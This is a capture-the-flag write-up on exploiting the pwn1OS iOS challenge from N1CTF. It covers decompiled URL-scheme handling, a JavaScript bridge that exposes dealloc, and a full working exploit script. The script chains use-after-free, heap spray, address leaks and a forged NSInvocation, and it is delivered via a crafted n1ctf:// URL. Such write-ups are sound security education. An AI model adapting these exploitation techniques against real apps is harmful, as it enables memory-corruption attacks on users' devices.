Logo xia0o0o0o

From JavaScript to Objective-C: iOS Userland Exploitation, pwn1OS in N1CTF

October 23, 2023
7 min read
Table of Contents

From JavaScript to Objective-C: iOS Userland Exploitation, pwn1OS in N1CTF

Thank the author for the great challenge. We S1uM4i got the first blood of this challenge and we are the only team that solved it. The challenge is very interesting and I learned a lot from it. I will try to explain the exploitation in detail.

Analysis

The application registers a URL Scheme, you can find it in Info.plist

			<key>CFBundleURLSchemes</key>
			<array>
				<string>n1ctf</string>
			</array>

So we can open the application by opening a URL like n1ctf://aaa/bbb/ccc. The application will parse the URL and do some actions according to the URL.

void __cdecl -[SceneDelegate scene:openURLContexts:](SceneDelegate *self, SEL a2, id a3, id a4)
{
  id v4; // ST00_8
  void *v5; // ST10_8
  void *v6; // ST08_8
  void *v7; // ST20_8
  const char *v8; // [xsp+18h] [xbp-58h]
  __int64 v9; // [xsp+48h] [xbp-28h]
  void *v10; // [xsp+50h] [xbp-20h]
  __int64 v11; // [xsp+58h] [xbp-18h]
  SEL v12; // [xsp+60h] [xbp-10h]
  SceneDelegate *v13; // [xsp+68h] [xbp-8h]
 
  v4 = a4;
  v13 = self;
  v12 = a2;
  v11 = 0LL;
  objc_storeStrong();
  v10 = 0LL;
  objc_storeStrong();
  objc_msgSend_allObjects(v10, v8, v4);
  v5 = (void *)objc_retainAutoreleasedReturnValue();
  objc_msgSend_firstObject(v5, v8);
  v6 = (void *)objc_retainAutoreleasedReturnValue();
  objc_msgSend_URL(v6, v8);
  v9 = objc_retainAutoreleasedReturnValue();
  objc_release(v6);
  objc_release(v5);
  objc_msgSend_defaultCenter(&OBJC_CLASS___NSNotificationCenter, v8);
  v7 = (void *)objc_retainAutoreleasedReturnValue();
  objc_msgSend_postNotificationName_object_(v7, v8, CFSTR("openWebView"), v9);
  objc_release(v7);
  objc_storeStrong();
  objc_storeStrong();
  objc_storeStrong();
}
 
void __cdecl -[ViewController didReceiveNotification:](ViewController *self, SEL a2, id a3)
{
  void *v3; // ST78_8
  __int64 v4; // ST80_8
  void *v5; // ST38_8
  __int64 v6; // ST48_8
  __int64 v7; // ST40_8
  void *v8; // ST28_8
  char v9; // ST34_1
  __int64 v10; // ST10_8
  void *v11; // ST18_8
  __int64 v12; // [xsp+58h] [xbp-188h]
  __int64 v13; // [xsp+60h] [xbp-180h]
  __int64 v14; // [xsp+68h] [xbp-178h]
  void *v15; // [xsp+70h] [xbp-170h]
  void *v16; // [xsp+90h] [xbp-150h]
  void *v17; // [xsp+98h] [xbp-148h]
  const char *v18; // [xsp+A8h] [xbp-138h]
  void *v19; // [xsp+B0h] [xbp-130h]
  char v20; // [xsp+B8h] [xbp-128h]
  __int64 v21; // [xsp+C0h] [xbp-120h]
  __int64 *v22; // [xsp+C8h] [xbp-118h]
  void *v23; // [xsp+F8h] [xbp-E8h]
  void *v24; // [xsp+100h] [xbp-E0h]
  void *v25; // [xsp+108h] [xbp-D8h]
  int v26; // [xsp+114h] [xbp-CCh]
  void *host; // [xsp+118h] [xbp-C8h]
  void *scheme; // [xsp+120h] [xbp-C0h]
  __int128 v29; // [xsp+128h] [xbp-B8h]
  SEL v30; // [xsp+138h] [xbp-A8h]
  ViewController *v31; // [xsp+140h] [xbp-A0h]
  char v32; // [xsp+148h] [xbp-98h]
 
  v31 = self;
  v30 = a2;
  objc_storeStrong();
  objc_msgSend_object(0LL, v18);
  v29 = (unsigned __int64)objc_retainAutoreleasedReturnValue();
  objc_msgSend_scheme((void *)v29, v18);
  scheme = (void *)objc_retainAutoreleasedReturnValue();
  objc_msgSend_host((void *)v29, v18);
  host = (void *)objc_retainAutoreleasedReturnValue();
  if ( (unsigned __int64)objc_msgSend_isEqualToString_(scheme, v18, CFSTR("n1ctf")) & 1
    && (unsigned __int64)objc_msgSend_isEqualToString_(host, v18, CFSTR("web")) & 1 )
  {
    v3 = (void *)objc_alloc(&OBJC_CLASS___NSURLComponents);
    objc_msgSend_absoluteString((void *)v29, v18);
    v4 = objc_retainAutoreleasedReturnValue();
    v25 = objc_msgSend_initWithString_(v3, v18);
    objc_release(v4);
    v24 = objc_msgSend_new(&OBJC_CLASS___NSMutableDictionary, v18);
    memset(&v20, 0, 0x40uLL);
    objc_msgSend_queryItems(v25, v18);
    v16 = (void *)objc_retainAutoreleasedReturnValue();
    v17 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16LL);
    if ( v17 )
    {
      v13 = *v22;
      v14 = 0LL;
      v15 = v17;
      while ( 1 )
      {
        v12 = v14;
        if ( *v22 != v13 )
          objc_enumerationMutation(v16);
        v23 = *(void **)(v21 + 8 * v14);
        v5 = v24;
        objc_msgSend_value(v23, v18);
        v6 = objc_retainAutoreleasedReturnValue();
        objc_msgSend_name(v23, v18);
        v7 = objc_retainAutoreleasedReturnValue();
        objc_msgSend_setValue_forKey_(v5, v18, v6);
        objc_release(v7);
        objc_release(v6);
        ++v14;
        if ( v12 + 1 >= (unsigned __int64)v15 )
        {
          v14 = 0LL;
          v15 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16LL);
          if ( !v15 )
            break;
        }
      }
    }
    objc_release(v16);
    objc_msgSend_allKeys(v24, v18);
    v8 = (void *)objc_retainAutoreleasedReturnValue();
    v9 = (unsigned __int64)objc_msgSend_containsObject_(v8, v18, CFSTR("url"));
    objc_release(v8);
    if ( v9 & 1 )
    {
      v19 = objc_msgSend_new(&OBJC_CLASS___WebViewController, v18);
      objc_msgSend_objectForKeyedSubscript_(v24, v18, CFSTR("url"));
      v10 = objc_retainAutoreleasedReturnValue();
      objc_msgSend_setUrlString_(v19, v18);
      objc_release(v10);
      objc_msgSend_navigationController(v31, v18);
      v11 = (void *)objc_retainAutoreleasedReturnValue();
      objc_msgSend_pushViewController_animated_(v11, v18, v19, 1LL);
      objc_release(v11);
      objc_storeStrong();
    }
    objc_storeStrong();
    objc_storeStrong();
    v26 = 0;
  }
  else
  {
    v26 = 1;
  }
  objc_storeStrong();
  objc_storeStrong();
  objc_storeStrong();
  objc_storeStrong();
}

Then do a classical class dump first

@interface ScriptInterface : NSObject
@end
 
@interface CoreService : ScriptInterface
@end
 
@interface N1CTFIntroduction : ScriptInterface
@end
 
@interface HTTRequest : ScriptInterface
@end

And an instance of ScriptInterface is explosed to the context of JavaScript

          v11 = objc_msgSend_new(&OBJC_CLASS___ScriptInterface, v18);
          objc_msgSend_setValue_forKey_(v10, v18);
          objc_release(v11);

All these are the subclass of ScriptInterface. So we can call their methods in the context of JavaScript.

Also

+ (_Bool)isSelectorExcludedFromWebScript:(SEL)arg1;

always returns NO, which means all the methods are exposed to JavaScript. Considering the following code:

a = n1ctf.$makeCoreService();
window.a = a;
a.dealloc();

We can see that the dealloc method is exposed to JavaScript. So we can call dealloc on any object to free it. This is a very powerful primitive that let us use after free any ScriptInterface and subclass object.

In -[CoreService dealloc], it will call -[NSInvocation invoke] on its property @property NSInvocation * cancelRequest;. So we can craft a fake NSInvocation object to call any method on any object. For example, +[BackDoor getFlag:]. (Actually in a challenge designed by me for my undergraduate school’s CTF, there is a similar technique, e.g. using NSInvocation to call arbitrary C functions`)

To build up the addrof() primitive, we can make use of the error message when calling a non-exist method on and object. I took the implementation from CodeColorist’s writeup for CVE-2021-1748

    // copy from CVE-2021-1784
    function addrof(obj) {
        n1ctf.$setChallenge_(obj)
        try {
            n1ctf.$challenge()
        } catch (e) {
            console.debug(e)
            const match = /instance (0x[\da-f]+)$/i.exec(e)
            if (match) return match[1]
            throw new Error('Failed')
        } finally { }
    }

Another challenge is how to do the heap spray. Luckily we have a method

@interface HTTRequest : ScriptInterface
{
    NSData *_data;
}
 
- (void).cxx_destruct;
@property(retain, nonatomic) NSData *data; // @synthesize data=_data;
- (void)describeObject:(id)arg1:(id)arg2;
- (void)addMultiPartData:(id)arg1;
 
@end

-[HTTRequest addMultiPartData:] takes a base64 encoded string as input, and decodes it to store in NSData *_data. So we can use this method to do heap spray.

Exploit

So the exploitation looks like this:

  • Free a CoreService object
  • Reallocate it and perform a type confusion, convert it to a NSConcreteData object to do memory disclosure
  • Leak dyld_shared_cache, pwn1OS base address, tagged NSMethodSignature address and cookie
  • Set up the arguments for +[BackDoor getFlag:]
  • Craft fake NSInvocation object to call +[BackDoor getFlag:]

Script

I have no idea about how to write elegant JavaScript so don’t blame me. The full payload generated script is here:

String.prototype.toDataURI = function () {
    return 'data:text/html;,' + encodeURIComponent(this).replace(/[!'()*]/g, escape);
}
 
/*
0x2834c99a0: 0x02000001f9e2a699 0x0000000102c29f20 <- isa, frame:0x0000000102c29f20 -> [target, selector, arguments]
0x2834c99b0: 0x0000000102c29de0 0xbd0461d930d9b4a7 <- retdata, signature
0x2834c99c0: 0x0000000000000000 0x0000000000000000 <- wtf, 0
0x2834c99d0: 0x00000002819a39f0 0x00000001e60e9a43 <- target, selector
0x2834c99e0: 0x00000000a50e01d3 0x0000000000000000 <- _magic_cookie.ovalue, 0
*/
 
function payload() {
 
    function hexToBase64(hexstring) {
        return btoa(hexstring.match(/\w{2}/g).map(function (a) {
            return String.fromCharCode(parseInt(a, 16));
        }).join(""));
    }
 
    function p64(data) {
        // data is a number
        data = BigInt(data)
        str_data = data.toString(16);
        // pad to 8 bytes
        str_data = str_data.padStart(16, '0');
        // reverse bytes order
        str_data = str_data.match(/\w{2}/g).reverse().join("");
        return str_data;
    }
 
    var offsets = {
        // remember to change all of this!
        base_address:           0x0000000100000000,
        corefoundation_base:    0x0000000180329000,    // done
        NSArrayI_Class:         0x00000001DE53ABF8,    // done
        NSInvocation_Class:     0x00000001de53a658,    // done
        NSBooleanFalse:         0x00000001da63a0b8,    // done
        NSData_Class:           0x00000001DE3719C8,    // done
        NSConcreteData_Class:   0x00000001de542370,    // done
        foundation_corefoundation_offset:0x1311000,    // done
        foundation_base:        0x000000018163A000,    // done
        HTTRequest_Class:       0x0000000100013300,
        CoreService_Class:      0x0000000100013238,
        BackDoor_Class:         0x0000000100013120,
        getFlag_SEL:            0x000000010000D99B
    };
 
 
    // copy from CVE-2021-1784
    function addrof(obj) {
        n1ctf.$setChallenge_(obj)
        try {
            n1ctf.$challenge()
        } catch (e) {
            console.debug(e)
            const match = /instance (0x[\da-f]+)$/i.exec(e)
            if (match) return match[1]
            throw new Error('Failed')
        } finally { }
    }
 
    function process_leak_data(leak) {
        // find 'bytes = ' in leak_data, get all bytes after it, remove the last '}'
        leak = leak.split('bytes = ')[1].split('}')[0]
        // remove the first 0x
        leak = leak.slice(2);
        // the leak is 24 bytes, split to 3 parts, each 8 bytes
        leak = leak.match(/\w{16}/g);
        // for each part, reverse the bytes order
        leak = leak.map(x => x.match(/\w{2}/g).reverse().join(""));
        // convert to number
        leak = leak.map(x => BigInt("0x" + x, 16));
 
        return leak;
    }
 
    c1 = n1ctf.$makeCoreService()
    window.c1 = c1;
    window.data_array = [];
 
    corefoundation_addr = addrof(false)
    n1ctf.$DEBUGLOG_(corefoundation_addr);
 
    corefoundation_addr = parseInt(corefoundation_addr, 16)
    corefoundation_addr -= offsets.NSBooleanFalse;
    corefoundation_slide = corefoundation_addr;
    corefoundation_addr += offsets.corefoundation_base;
    foundation_addr = corefoundation_addr + offsets.foundation_corefoundation_offset;
    foundation_slide = foundation_addr - offsets.foundation_base;
    // to hex
    coreservice = n1ctf.$makeCoreService();
 
    coreservice_addr = addrof(coreservice)
    n1ctf.$DEBUGLOG_(coreservice_addr);
    coreservice_addr = parseInt(coreservice_addr, 16);
 
    // make HTTRequest
    req = n1ctf.$makeHTTRequest();
 
    req_addr = addrof(req);
    req_addr = parseInt(req_addr, 16);
 
    c1_addr = addrof(c1);
    c1_addr = parseInt(c1_addr, 16);
 
    // craft payload
    // leak isa and cancelRequest of c1
    dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
         p64(c1_addr) + p64(0) +
         p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)
 
    // save coreservice
    window.coreservice = coreservice;
    coreservice.dealloc();    // use-after-free
 
    // base64
    for (let i = 0; i < 0x90; i++) {
        req.addMultiPartData_(hexToBase64(dt));
        window.data_array.push(req.data());
    }
    n1ctf.$describeObject__(coreservice);
    leak_data = `${coreservice}`
 
    leak_data = process_leak_data(leak_data);
    // calculate the base address of pwn1OS
    pwn1OS_base = leak_data[0] & 0xFFFFFFFFFFFFFn;
    pwn1OS_base -= (BigInt(offsets.CoreService_Class) + 1n);
    pwn1OS_base += 0x0000000100000000n;
 
    c1_invocation_addr = addrof(c1.$cancelRequest());
    c1_invocation_addr = parseInt(c1_invocation_addr, 16);
    n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16));
    n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window.coreservice));
 
    // craft payload
    // leak the tagged NSMethodSignature
    dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
         p64(c1_invocation_addr + 0x18) + p64(0) +
         p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)
 
    coreservice.dealloc();    // use-after-free
    window.data_array = [];
    for (let i = 0; i < 0x90; i++) {
        req.addMultiPartData_(hexToBase64(dt));
        window.data_array.push(req.data());
    }
 
    leak_data = `${coreservice}`
    n1ctf.$DEBUGLOG_("leak tagged NSMethodSignature");
    leak_data = process_leak_data(leak_data);
    tagged_NSMethodSignature = leak_data[0]
 
    c2 = n1ctf.$makeCoreService();
    window.c2 = c2;
    n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16));
    n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window.c2));
 
    // craft payload, leak the cookie
    dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
        p64(c1_invocation_addr + 0x30) + p64(0) +
        p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)
 
    n1ctf.$makeN1CTFIntroduction();
    c2.dealloc();
    window.data_array2 = [];
    for (let i = 0; i < 0x90; i++) {
        req.addMultiPartData_(hexToBase64(dt));
        window.data_array2.push(req.data());
    }
 
    introduction1 = n1ctf.$makeN1CTFIntroduction();
    leak_data = `${c2}`
    n1ctf.$DEBUGLOG_("leak cookie");
    leak_data = process_leak_data(leak_data);
    cookie = leak_data[2]
 
    window.introduction1 = introduction1;
    introduction1_addr = addrof(introduction1);
    introduction1_addr = parseInt(introduction1_addr, 16);
    n1ctf.$DEBUGLOG_("introduction1_addr: " + introduction1_addr.toString(16));
 
    window.data_array3 = [];
    window.c1.$setCancelRequest_(window.introduction1);
 
    n1i1 = n1ctf.$makeN1CTFIntroduction();
    n1i2 = n1ctf.$makeN1CTFIntroduction();
    n1i3 = n1ctf.$makeN1CTFIntroduction();
 
    n1i1.setP_("http://aaa.aaa.aaa.aaa:aaaaa///pleasegivemetheflag");
    addrof_p = addrof(n1i1.p());
 
    n1i2.dealloc();
    n1i3.dealloc();
 
    n1ctf.$DEBUGLOG_("spray fake NSInvocation");
    // craft payload
    fake_invok = p64(corefoundation_slide + offsets.NSInvocation_Class) + p64(introduction1_addr +0x50) +
         p64(introduction1_addr + 0x80) + p64(tagged_NSMethodSignature) +
         p64(0) + p64(0) +
         p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.getFlag_SEL)) +
         p64(cookie) + p64(0) +
         p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.getFlag_SEL)) +
         p64(addrof_p) + p64(0) +
         p64(0) + p64(0) +
         p64(0) + p64(0) +
         p64(0) + p64(0) +
         p64(0) + p64(0) +
         p64(0) + p64(0)
    
    introduction1.$dealloc();
    for (let i = 0; i < 0x90; i++) {
        req.addMultiPartData_(hexToBase64(fake_invok))
        window.data_array3.push(req.data());
    }
    n1ctf.$describeObject__(introduction1);
    c1.dealloc();
}
 
data = `<script type="application/javascript">(${payload})()</script>`.toDataURI()
url = new URL('n1ctf://web/fyou?url=fme')
url.searchParams.set('url', data);
url.toString()
console.log(url.toString())